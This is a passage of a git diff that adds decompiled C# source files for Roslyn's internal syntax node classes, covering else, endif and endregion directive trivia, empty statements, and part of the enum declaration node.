((GreenNode)this).SlotCount = 3; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)hashToken); + this.hashToken = hashToken; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)elseKeyword); + this.elseKeyword = elseKeyword; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)endOfDirectiveToken); + this.endOfDirectiveToken = endOfDirectiveToken; + this.isActive = isActive; + this.branchTaken = branchTaken; + } + + internal ElseDirectiveTriviaSyntax(SyntaxKind kind, SyntaxToken hashToken, SyntaxToken elseKeyword, SyntaxToken endOfDirectiveToken, bool isActive, bool branchTaken) + : base(kind) + { + ((GreenNode)this).SlotCount = 3; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)hashToken); + this.hashToken = hashToken; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)elseKeyword); + this.elseKeyword = elseKeyword; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)endOfDirectiveToken); + this.endOfDirectiveToken = endOfDirectiveToken; + this.isActive = isActive; + this.branchTaken = branchTaken; + } + + internal override GreenNode? GetSlot(int index) + { + return (GreenNode?)(index switch + { + 0 => hashToken, + 1 => elseKeyword, + 2 => endOfDirectiveToken, + _ => null, + }); + } + + internal override SyntaxNode CreateRed(SyntaxNode? parent, int position) + { + return (SyntaxNode)(object)new Microsoft.CodeAnalysis.CSharp.Syntax.ElseDirectiveTriviaSyntax(this, parent, position); + } + + public override void Accept(CSharpSyntaxVisitor visitor) + { + visitor.VisitElseDirectiveTrivia(this); + } + + public override TResult Accept(CSharpSyntaxVisitor visitor) + { + return visitor.VisitElseDirectiveTrivia(this); + } + + public ElseDirectiveTriviaSyntax Update(SyntaxToken hashToken, SyntaxToken elseKeyword, SyntaxToken endOfDirectiveToken, bool isActive, bool branchTaken) + { + if (hashToken != HashToken || elseKeyword != ElseKeyword || endOfDirectiveToken != EndOfDirectiveToken) + { + ElseDirectiveTriviaSyntax elseDirectiveTriviaSyntax = SyntaxFactory.ElseDirectiveTrivia(hashToken, elseKeyword, endOfDirectiveToken, isActive, branchTaken); + DiagnosticInfo[] diagnostics = ((GreenNode)this).GetDiagnostics(); + if (diagnostics != null && diagnostics.Length != 0) + { + elseDirectiveTriviaSyntax = GreenNodeExtensions.WithDiagnosticsGreen(elseDirectiveTriviaSyntax, diagnostics); + } + SyntaxAnnotation[] annotations = ((GreenNode)this).GetAnnotations(); + if (annotations != null && annotations.Length != 0) + { + elseDirectiveTriviaSyntax = GreenNodeExtensions.WithAnnotationsGreen(elseDirectiveTriviaSyntax, (IEnumerable)annotations); + } + return elseDirectiveTriviaSyntax; + } + return this; + } + + internal override GreenNode SetDiagnostics(DiagnosticInfo[]? diagnostics) + { + return (GreenNode)(object)new ElseDirectiveTriviaSyntax(base.Kind, hashToken, elseKeyword, endOfDirectiveToken, isActive, branchTaken, diagnostics, ((GreenNode)this).GetAnnotations()); + } + + internal override GreenNode SetAnnotations(SyntaxAnnotation[]? annotations) + { + return (GreenNode)(object)new ElseDirectiveTriviaSyntax(base.Kind, hashToken, elseKeyword, endOfDirectiveToken, isActive, branchTaken, ((GreenNode)this).GetDiagnostics(), annotations); + } + + internal ElseDirectiveTriviaSyntax(ObjectReader reader) + : base(reader) + { + ((GreenNode)this).SlotCount = 3; + SyntaxToken syntaxToken = (SyntaxToken)reader.ReadValue(); + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)syntaxToken); + hashToken = syntaxToken; + SyntaxToken syntaxToken2 = (SyntaxToken)reader.ReadValue(); + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)syntaxToken2); + elseKeyword = syntaxToken2; + SyntaxToken syntaxToken3 = (SyntaxToken)reader.ReadValue(); + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)syntaxToken3); + endOfDirectiveToken = syntaxToken3; + isActive = reader.ReadBoolean(); + branchTaken = reader.ReadBoolean(); + } + + internal override void WriteTo(ObjectWriter writer) + { + ((GreenNode)this).WriteTo(writer); + writer.WriteValue((IObjectWritable)(object)hashToken); + writer.WriteValue((IObjectWritable)(object)elseKeyword); + writer.WriteValue((IObjectWritable)(object)endOfDirectiveToken); + writer.WriteBoolean(isActive); + writer.WriteBoolean(branchTaken); + } + + static ElseDirectiveTriviaSyntax() + { + ObjectBinder.RegisterTypeReader(typeof(ElseDirectiveTriviaSyntax), (Func)((ObjectReader r) => (IObjectWritable)(object)new ElseDirectiveTriviaSyntax(r))); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/EmptyStatementSyntax.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/EmptyStatementSyntax.cs new file mode 100644 index 0000000..a5420b7 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/EmptyStatementSyntax.cs @@ -0,0 +1,144 @@ +using System; +using System.Collections.Generic; +using Microsoft.CodeAnalysis.Syntax.InternalSyntax; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax; + +internal sealed class EmptyStatementSyntax : StatementSyntax +{ + internal readonly GreenNode? attributeLists; + + internal readonly SyntaxToken semicolonToken; + + public override SyntaxList AttributeLists => new SyntaxList(attributeLists); + + public SyntaxToken SemicolonToken => semicolonToken; + + internal EmptyStatementSyntax(SyntaxKind kind, GreenNode? attributeLists, SyntaxToken semicolonToken, DiagnosticInfo[]? diagnostics, SyntaxAnnotation[]? annotations) + : base(kind, diagnostics, annotations) + { + ((GreenNode)this).SlotCount = 2; + if (attributeLists != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(attributeLists); + this.attributeLists = attributeLists; + } + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)semicolonToken); + this.semicolonToken = semicolonToken; + } + + internal EmptyStatementSyntax(SyntaxKind kind, GreenNode? attributeLists, SyntaxToken semicolonToken, SyntaxFactoryContext context) + : base(kind) + { + SetFactoryContext(context); + ((GreenNode)this).SlotCount = 2; + if (attributeLists != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(attributeLists); + this.attributeLists = attributeLists; + } + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)semicolonToken); + this.semicolonToken = semicolonToken; + } + + internal EmptyStatementSyntax(SyntaxKind kind, GreenNode? attributeLists, SyntaxToken semicolonToken) + : base(kind) + { + ((GreenNode)this).SlotCount = 2; + if (attributeLists != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(attributeLists); + this.attributeLists = attributeLists; + } + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)semicolonToken); + this.semicolonToken = semicolonToken; + } + + internal override GreenNode? GetSlot(int index) + { + return (GreenNode?)(index switch + { + 0 => attributeLists, + 1 => semicolonToken, + _ => null, + }); + } + + internal override SyntaxNode CreateRed(SyntaxNode? parent, int position) + { + return (SyntaxNode)(object)new Microsoft.CodeAnalysis.CSharp.Syntax.EmptyStatementSyntax(this, parent, position); + } + + public override void Accept(CSharpSyntaxVisitor visitor) + { + visitor.VisitEmptyStatement(this); + } + + public override TResult Accept(CSharpSyntaxVisitor visitor) + { + return visitor.VisitEmptyStatement(this); + } + + public EmptyStatementSyntax Update(SyntaxList attributeLists, SyntaxToken semicolonToken) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0017: Unknown result type (might be due to invalid IL or missing references) + if (attributeLists != AttributeLists || semicolonToken != SemicolonToken) + { + EmptyStatementSyntax emptyStatementSyntax = SyntaxFactory.EmptyStatement(attributeLists, semicolonToken); + DiagnosticInfo[] diagnostics = ((GreenNode)this).GetDiagnostics(); + if (diagnostics != null && diagnostics.Length != 0) + { + emptyStatementSyntax = GreenNodeExtensions.WithDiagnosticsGreen(emptyStatementSyntax, diagnostics); + } + SyntaxAnnotation[] annotations = ((GreenNode)this).GetAnnotations(); + if (annotations != null && annotations.Length != 0) + { + emptyStatementSyntax = GreenNodeExtensions.WithAnnotationsGreen(emptyStatementSyntax, (IEnumerable)annotations); + } + return emptyStatementSyntax; + } + return this; + } + + internal override GreenNode SetDiagnostics(DiagnosticInfo[]? diagnostics) + { + return (GreenNode)(object)new EmptyStatementSyntax(base.Kind, attributeLists, semicolonToken, diagnostics, ((GreenNode)this).GetAnnotations()); + } + + internal override GreenNode SetAnnotations(SyntaxAnnotation[]? annotations) + { + return (GreenNode)(object)new EmptyStatementSyntax(base.Kind, attributeLists, semicolonToken, ((GreenNode)this).GetDiagnostics(), annotations); + } + + internal EmptyStatementSyntax(ObjectReader reader) + : base(reader) + { + //IL_0014: Unknown result type (might be due to invalid IL or missing references) + //IL_001a: Expected O, but got Unknown + ((GreenNode)this).SlotCount = 2; + GreenNode val = (GreenNode)reader.ReadValue(); + if (val != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(val); + attributeLists = val; + } + SyntaxToken syntaxToken = (SyntaxToken)reader.ReadValue(); + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)syntaxToken); + semicolonToken = syntaxToken; + } + + internal override void WriteTo(ObjectWriter writer) + { + ((GreenNode)this).WriteTo(writer); + writer.WriteValue((IObjectWritable)(object)attributeLists); + writer.WriteValue((IObjectWritable)(object)semicolonToken); + } + + static EmptyStatementSyntax() + { + ObjectBinder.RegisterTypeReader(typeof(EmptyStatementSyntax), (Func)((ObjectReader r) => (IObjectWritable)(object)new EmptyStatementSyntax(r))); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/EndIfDirectiveTriviaSyntax.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/EndIfDirectiveTriviaSyntax.cs new file mode 100644 index 0000000..62e3609 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/EndIfDirectiveTriviaSyntax.cs @@ -0,0 +1,150 @@ +using System; +using System.Collections.Generic; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax; + +internal sealed class EndIfDirectiveTriviaSyntax : DirectiveTriviaSyntax +{ + internal readonly SyntaxToken hashToken; + + internal readonly SyntaxToken endIfKeyword; + + internal readonly SyntaxToken endOfDirectiveToken; + + internal readonly bool isActive; + + public override SyntaxToken HashToken => hashToken; + + public SyntaxToken EndIfKeyword => endIfKeyword; + + public override SyntaxToken EndOfDirectiveToken => endOfDirectiveToken; + + public override bool IsActive => isActive; + + internal EndIfDirectiveTriviaSyntax(SyntaxKind kind, SyntaxToken hashToken, SyntaxToken endIfKeyword, SyntaxToken endOfDirectiveToken, bool isActive, DiagnosticInfo[]? diagnostics, SyntaxAnnotation[]? annotations) + : base(kind, diagnostics, annotations) + { + ((GreenNode)this).SlotCount = 3; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)hashToken); + this.hashToken = hashToken; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)endIfKeyword); + this.endIfKeyword = endIfKeyword; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)endOfDirectiveToken); + this.endOfDirectiveToken = endOfDirectiveToken; + this.isActive = isActive; + } + + internal EndIfDirectiveTriviaSyntax(SyntaxKind kind, SyntaxToken hashToken, SyntaxToken endIfKeyword, SyntaxToken endOfDirectiveToken, bool isActive, SyntaxFactoryContext context) + : base(kind) + { + SetFactoryContext(context); + ((GreenNode)this).SlotCount = 3; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)hashToken); + this.hashToken = hashToken; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)endIfKeyword); + this.endIfKeyword = endIfKeyword; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)endOfDirectiveToken); + this.endOfDirectiveToken = endOfDirectiveToken; + this.isActive = isActive; + } + + internal EndIfDirectiveTriviaSyntax(SyntaxKind kind, SyntaxToken hashToken, SyntaxToken endIfKeyword, SyntaxToken endOfDirectiveToken, bool isActive) + : base(kind) + { + ((GreenNode)this).SlotCount = 3; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)hashToken); + this.hashToken = hashToken; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)endIfKeyword); + this.endIfKeyword = endIfKeyword; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)endOfDirectiveToken); + this.endOfDirectiveToken = endOfDirectiveToken; + this.isActive = isActive; + } + + internal override GreenNode? GetSlot(int index) + { + return (GreenNode?)(index switch + { + 0 => hashToken, + 1 => endIfKeyword, + 2 => endOfDirectiveToken, + _ => null, + }); + } + + internal override SyntaxNode CreateRed(SyntaxNode? parent, int position) + { + return (SyntaxNode)(object)new Microsoft.CodeAnalysis.CSharp.Syntax.EndIfDirectiveTriviaSyntax(this, parent, position); + } + + public override void Accept(CSharpSyntaxVisitor visitor) + { + visitor.VisitEndIfDirectiveTrivia(this); + } + + public override TResult Accept(CSharpSyntaxVisitor visitor) + { + return visitor.VisitEndIfDirectiveTrivia(this); + } + + public EndIfDirectiveTriviaSyntax Update(SyntaxToken hashToken, SyntaxToken endIfKeyword, SyntaxToken endOfDirectiveToken, bool isActive) + { + if (hashToken != HashToken || endIfKeyword != EndIfKeyword || endOfDirectiveToken != EndOfDirectiveToken) + { + EndIfDirectiveTriviaSyntax endIfDirectiveTriviaSyntax = SyntaxFactory.EndIfDirectiveTrivia(hashToken, endIfKeyword, endOfDirectiveToken, isActive); + DiagnosticInfo[] diagnostics = ((GreenNode)this).GetDiagnostics(); + if (diagnostics != null && diagnostics.Length != 0) + { + endIfDirectiveTriviaSyntax = GreenNodeExtensions.WithDiagnosticsGreen(endIfDirectiveTriviaSyntax, diagnostics); + } + SyntaxAnnotation[] annotations = ((GreenNode)this).GetAnnotations(); + if (annotations != null && annotations.Length != 0) + { + endIfDirectiveTriviaSyntax = GreenNodeExtensions.WithAnnotationsGreen(endIfDirectiveTriviaSyntax, (IEnumerable)annotations); + } + return endIfDirectiveTriviaSyntax; + } + return this; + } + + internal override GreenNode SetDiagnostics(DiagnosticInfo[]? diagnostics) + { + return (GreenNode)(object)new EndIfDirectiveTriviaSyntax(base.Kind, hashToken, endIfKeyword, endOfDirectiveToken, isActive, diagnostics, ((GreenNode)this).GetAnnotations()); + } + + internal override GreenNode SetAnnotations(SyntaxAnnotation[]? annotations) + { + return (GreenNode)(object)new EndIfDirectiveTriviaSyntax(base.Kind, hashToken, endIfKeyword, endOfDirectiveToken, isActive, ((GreenNode)this).GetDiagnostics(), annotations); + } + + internal EndIfDirectiveTriviaSyntax(ObjectReader reader) + : base(reader) + { + ((GreenNode)this).SlotCount = 3; + SyntaxToken syntaxToken = (SyntaxToken)reader.ReadValue(); + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)syntaxToken); + hashToken = syntaxToken; + SyntaxToken syntaxToken2 = (SyntaxToken)reader.ReadValue(); + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)syntaxToken2); + endIfKeyword = syntaxToken2; + SyntaxToken syntaxToken3 = (SyntaxToken)reader.ReadValue(); + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)syntaxToken3); + endOfDirectiveToken = syntaxToken3; + isActive = reader.ReadBoolean(); + } + + internal override void WriteTo(ObjectWriter writer) + { + ((GreenNode)this).WriteTo(writer); + writer.WriteValue((IObjectWritable)(object)hashToken); + writer.WriteValue((IObjectWritable)(object)endIfKeyword); + writer.WriteValue((IObjectWritable)(object)endOfDirectiveToken); + writer.WriteBoolean(isActive); + } + + static EndIfDirectiveTriviaSyntax() + { + ObjectBinder.RegisterTypeReader(typeof(EndIfDirectiveTriviaSyntax), (Func)((ObjectReader r) => (IObjectWritable)(object)new EndIfDirectiveTriviaSyntax(r))); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/EndRegionDirectiveTriviaSyntax.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/EndRegionDirectiveTriviaSyntax.cs new file mode 100644 index 0000000..30ee794 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/EndRegionDirectiveTriviaSyntax.cs @@ -0,0 +1,150 @@ +using System; +using System.Collections.Generic; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax; + +internal sealed class EndRegionDirectiveTriviaSyntax : DirectiveTriviaSyntax +{ + internal readonly SyntaxToken hashToken; + + internal readonly SyntaxToken endRegionKeyword; + + internal readonly SyntaxToken endOfDirectiveToken; + + internal readonly bool isActive; + + public override SyntaxToken HashToken => hashToken; + + public SyntaxToken EndRegionKeyword => endRegionKeyword; + + public override SyntaxToken EndOfDirectiveToken => endOfDirectiveToken; + + public override bool IsActive => isActive; + + internal EndRegionDirectiveTriviaSyntax(SyntaxKind kind, SyntaxToken hashToken, SyntaxToken endRegionKeyword, SyntaxToken endOfDirectiveToken, bool isActive, DiagnosticInfo[]? diagnostics, SyntaxAnnotation[]? annotations) + : base(kind, diagnostics, annotations) + { + ((GreenNode)this).SlotCount = 3; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)hashToken); + this.hashToken = hashToken; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)endRegionKeyword); + this.endRegionKeyword = endRegionKeyword; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)endOfDirectiveToken); + this.endOfDirectiveToken = endOfDirectiveToken; + this.isActive = isActive; + } + + internal EndRegionDirectiveTriviaSyntax(SyntaxKind kind, SyntaxToken hashToken, SyntaxToken endRegionKeyword, SyntaxToken endOfDirectiveToken, bool isActive, SyntaxFactoryContext context) + : base(kind) + { + SetFactoryContext(context); + ((GreenNode)this).SlotCount = 3; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)hashToken); + this.hashToken = hashToken; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)endRegionKeyword); + this.endRegionKeyword = endRegionKeyword; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)endOfDirectiveToken); + this.endOfDirectiveToken = endOfDirectiveToken; + this.isActive = isActive; + } + + internal EndRegionDirectiveTriviaSyntax(SyntaxKind kind, SyntaxToken hashToken, SyntaxToken endRegionKeyword, SyntaxToken endOfDirectiveToken, bool isActive) + : base(kind) + { + ((GreenNode)this).SlotCount = 3; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)hashToken); + this.hashToken = hashToken; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)endRegionKeyword); + this.endRegionKeyword = endRegionKeyword; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)endOfDirectiveToken); + this.endOfDirectiveToken = endOfDirectiveToken; + this.isActive = isActive; + } + + internal override GreenNode? GetSlot(int index) + { + return (GreenNode?)(index switch + { + 0 => hashToken, + 1 => endRegionKeyword, + 2 => endOfDirectiveToken, + _ => null, + }); + } + + internal override SyntaxNode CreateRed(SyntaxNode? parent, int position) + { + return (SyntaxNode)(object)new Microsoft.CodeAnalysis.CSharp.Syntax.EndRegionDirectiveTriviaSyntax(this, parent, position); + } + + public override void Accept(CSharpSyntaxVisitor visitor) + { + visitor.VisitEndRegionDirectiveTrivia(this); + } + + public override TResult Accept(CSharpSyntaxVisitor visitor) + { + return visitor.VisitEndRegionDirectiveTrivia(this); + } + + public EndRegionDirectiveTriviaSyntax Update(SyntaxToken hashToken, SyntaxToken endRegionKeyword, SyntaxToken endOfDirectiveToken, bool isActive) + { + if (hashToken != HashToken || endRegionKeyword != EndRegionKeyword || endOfDirectiveToken != EndOfDirectiveToken) + { + EndRegionDirectiveTriviaSyntax endRegionDirectiveTriviaSyntax = SyntaxFactory.EndRegionDirectiveTrivia(hashToken, endRegionKeyword, endOfDirectiveToken, isActive); + DiagnosticInfo[] diagnostics = ((GreenNode)this).GetDiagnostics(); + if (diagnostics != null && diagnostics.Length != 0) + { + endRegionDirectiveTriviaSyntax = GreenNodeExtensions.WithDiagnosticsGreen(endRegionDirectiveTriviaSyntax, diagnostics); + } + SyntaxAnnotation[] annotations = ((GreenNode)this).GetAnnotations(); + if (annotations != null && annotations.Length != 0) + { + endRegionDirectiveTriviaSyntax = GreenNodeExtensions.WithAnnotationsGreen(endRegionDirectiveTriviaSyntax, (IEnumerable)annotations); + } + return endRegionDirectiveTriviaSyntax; + } + return this; + } + + internal override GreenNode SetDiagnostics(DiagnosticInfo[]? diagnostics) + { + return (GreenNode)(object)new EndRegionDirectiveTriviaSyntax(base.Kind, hashToken, endRegionKeyword, endOfDirectiveToken, isActive, diagnostics, ((GreenNode)this).GetAnnotations()); + } + + internal override GreenNode SetAnnotations(SyntaxAnnotation[]? annotations) + { + return (GreenNode)(object)new EndRegionDirectiveTriviaSyntax(base.Kind, hashToken, endRegionKeyword, endOfDirectiveToken, isActive, ((GreenNode)this).GetDiagnostics(), annotations); + } + + internal EndRegionDirectiveTriviaSyntax(ObjectReader reader) + : base(reader) + { + ((GreenNode)this).SlotCount = 3; + SyntaxToken syntaxToken = (SyntaxToken)reader.ReadValue(); + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)syntaxToken); + hashToken = syntaxToken; + SyntaxToken syntaxToken2 = (SyntaxToken)reader.ReadValue(); + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)syntaxToken2); + endRegionKeyword = syntaxToken2; + SyntaxToken syntaxToken3 = (SyntaxToken)reader.ReadValue(); + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)syntaxToken3); + endOfDirectiveToken = syntaxToken3; + isActive = reader.ReadBoolean(); + } + + internal override void WriteTo(ObjectWriter writer) + { + ((GreenNode)this).WriteTo(writer); + writer.WriteValue((IObjectWritable)(object)hashToken); + writer.WriteValue((IObjectWritable)(object)endRegionKeyword); + writer.WriteValue((IObjectWritable)(object)endOfDirectiveToken); + writer.WriteBoolean(isActive); + } + + static EndRegionDirectiveTriviaSyntax() + { + ObjectBinder.RegisterTypeReader(typeof(EndRegionDirectiveTriviaSyntax), (Func)((ObjectReader r) => (IObjectWritable)(object)new EndRegionDirectiveTriviaSyntax(r))); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/EnumDeclarationSyntax.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/EnumDeclarationSyntax.cs new file mode 100644 index 0000000..87b4899 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/EnumDeclarationSyntax.cs @@ -0,0 +1,335 @@ +using System; +using System.Collections.Generic; +using Microsoft.CodeAnalysis.Syntax.InternalSyntax; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax; + +internal sealed class EnumDeclarationSyntax : BaseTypeDeclarationSyntax +{ + internal readonly GreenNode? attributeLists; + + internal readonly GreenNode? modifiers; + + internal readonly SyntaxToken enumKeyword; + + internal readonly SyntaxToken identifier; + + internal readonly BaseListSyntax? baseList; + + internal readonly SyntaxToken? openBraceToken; + + internal readonly GreenNode? members; + + internal readonly SyntaxToken? closeBraceToken; + + internal readonly SyntaxToken? semicolonToken; + + public override SyntaxList AttributeLists => new SyntaxList(attributeLists); + + public override SyntaxList Modifiers => new SyntaxList(modifiers); + + public SyntaxToken EnumKeyword => enumKeyword; + + public override SyntaxToken Identifier => identifier; + + public override BaseListSyntax? BaseList => baseList; + + public override SyntaxToken? OpenBraceToken => openBraceToken; + + public SeparatedSyntaxList Members => new SeparatedSyntaxList(SyntaxList.op_Implicit(new SyntaxList(members))); + + public override SyntaxToken? CloseBraceToken => closeBraceToken; + + public override SyntaxToken? SemicolonToken => semicolonToken; + + internal EnumDeclarationSyntax(SyntaxKind kind, GreenNode? attributeLists, GreenNode? modifiers, SyntaxToken enumKeyword, SyntaxToken identifier, BaseListSyntax? baseList, SyntaxToken? openBraceToken, GreenNode? members, SyntaxToken? closeBraceToken, SyntaxToken? semicolonToken, DiagnosticInfo[]? diagnostics, SyntaxAnnotation[]? annotations) + : base(kind, diagnostics, annotations) + { + ((GreenNode)this).SlotCount = 9; + if (attributeLists != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(attributeLists); + this.attributeLists = attributeLists; + } + if (modifiers != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(modifiers); + this.modifiers = modifiers; + } + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)enumKeyword); + this.enumKeyword = enumKeyword; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)identifier); + this.identifier = identifier; + if (baseList != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)baseList); + this.baseList = baseList; + } + if (openBraceToken != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)openBraceToken); + this.openBraceToken = openBraceToken; + } + if (members != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(members); + this.members = members; + } + if (closeBraceToken != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)closeBraceToken); + this.closeBraceToken = closeBraceToken; + } + if (semicolonToken != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)semicolonToken); + this.semicolonToken = semicolonToken; + } + } + + internal EnumDeclarationSyntax(SyntaxKind kind, GreenNode? attributeLists, GreenNode? modifiers, SyntaxToken enumKeyword, SyntaxToken identifier, BaseListSyntax? baseList, SyntaxToken? openBraceToken, GreenNode? members, SyntaxToken? closeBraceToken, SyntaxToken? semicolonToken, SyntaxFactoryContext context) + : base(kind) + { + SetFactoryContext(context); + ((GreenNode)this).SlotCount = 9; + if (attributeLists != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(attributeLists); + this.attributeLists = attributeLists; + } + if (modifiers != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(modifiers); + this.modifiers = modifiers; + } + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)enumKeyword); + this.enumKeyword = enumKeyword; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)identifier); + this.identifier = identifier; + if (baseList != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)baseList); + this.baseList = baseList; + } + if (openBraceToken != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)openBraceToken); + this.openBraceToken = openBraceToken; + } + if (members != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(members); + this.members = members; + } + if (closeBraceToken != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)closeBraceToken); + this.closeBraceToken = closeBraceToken; + } + if (semicolonToken != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)semicolonToken); + this.semicolonToken = semicolonToken; + } + } + + internal EnumDeclarationSyntax(SyntaxKind kind, GreenNode? attributeLists, GreenNode? modifiers, SyntaxToken enumKeyword, SyntaxToken identifier, BaseListSyntax? baseList, SyntaxToken? openBraceToken, GreenNode? members, SyntaxToken? closeBraceToken, SyntaxToken? semicolonToken) + : base(kind) + { + ((GreenNode)this).SlotCount = 9; + if (attributeLists != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(attributeLists); + this.attributeLists = attributeLists; + } + if (modifiers != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(modifiers); + this.modifiers = modifiers; + } + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)enumKeyword); + this.enumKeyword = enumKeyword; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)identifier); + this.identifier = identifier; + if (baseList != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)baseList); + this.baseList = baseList; + } + if (openBraceToken != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)openBraceToken); + this.openBraceToken = openBraceToken; + } + if (members != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(members); + this.members = members; + } + if (closeBraceToken != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)closeBraceToken); + this.closeBraceToken = closeBraceToken; + } + if (semicolonToken != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)semicolonToken); + this.semicolonToken = semicolonToken; + } + } + + internal override GreenNode? GetSlot(int index) + { + return (GreenNode?)(index switch + { + 0 => attributeLists, + 1 => modifiers, + 2 => enumKeyword, + 3 => identifier, + 4 => baseList, + 5 => openBraceToken, + 6 => members, + 7 => closeBraceToken, + 8 => semicolonToken, + _ => null, + }); + } + + internal override SyntaxNode CreateRed(SyntaxNode? parent, int position) + { + return (SyntaxNode)(object)new Microsoft.CodeAnalysis.CSharp.Syntax.EnumDeclarationSyntax(this, parent, position); + } + + public override void Accept(CSharpSyntaxVisitor visitor) + { + visitor.VisitEnumDeclaration(this); + } + + public override TResult Accept(CSharpSyntaxVisitor visitor) + { + return visitor.VisitEnumDeclaration(this); + } + + public EnumDeclarationSyntax Update(SyntaxList attributeLists, SyntaxList modifiers, SyntaxToken enumKeyword, SyntaxToken identifier, BaseListSyntax baseList, SyntaxToken openBraceToken, SeparatedSyntaxList members, 